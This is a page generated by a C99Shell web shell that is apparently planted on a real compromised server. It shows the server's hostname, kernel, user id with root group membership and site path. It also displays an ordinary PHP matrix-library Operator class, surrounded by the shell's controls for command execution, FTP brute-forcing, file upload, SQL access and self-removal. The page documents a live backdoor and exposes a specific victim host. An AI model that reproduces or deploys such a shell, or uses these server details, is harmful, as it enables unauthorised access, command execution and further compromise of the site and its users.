!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/markbaker/matrix/classes/src/Operators/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Operator.php (1.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Matrix\Operators;

use 
Matrix\Matrix;
use 
Matrix\Exception;

abstract class 
Operator
{
    
/**
     * Stored internally as a 2-dimension array of values
     *
     * @property mixed[][] $matrix
     **/
    
protected $matrix;

    
/**
     * Number of rows in the matrix
     *
     * @property integer $rows
     **/
    
protected $rows;

    
/**
     * Number of columns in the matrix
     *
     * @property integer $columns
     **/
    
protected $columns;

    
/**
     * Create an new handler object for the operation
     *
     * @param Matrix $matrix The base Matrix object on which the operation will be performed
     */
    
public function __construct(Matrix $matrix)
    {
        
$this->rows $matrix->rows;
        
$this->columns $matrix->columns;
        
$this->matrix $matrix->toArray();
    }

    
/**
     * Compare the dimensions of the matrices being operated on to see if they are valid for addition/subtraction
     *
     * @param Matrix $matrix The second Matrix object on which the operation will be performed
     * @throws Exception
     */
    
protected function validateMatchingDimensions(Matrix $matrix): void
    
{
        if ((
$this->rows != $matrix->rows) || ($this->columns != $matrix->columns)) {
            throw new 
Exception('Matrices have mismatched dimensions');
        }
    }

    
/**
     * Compare the dimensions of the matrices being operated on to see if they are valid for multiplication/division
     *
     * @param Matrix $matrix The second Matrix object on which the operation will be performed
     * @throws Exception
     */
    
protected function validateReflectingDimensions(Matrix $matrix): void
    
{
        if (
$this->columns != $matrix->rows) {
            throw new 
Exception('Matrices have mismatched dimensions');
        }
    }

    
/**
     * Return the result of the operation
     *
     * @return Matrix
     */
    
public function result(): Matrix
    
{
        return new 
Matrix($this->matrix);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0093 ]--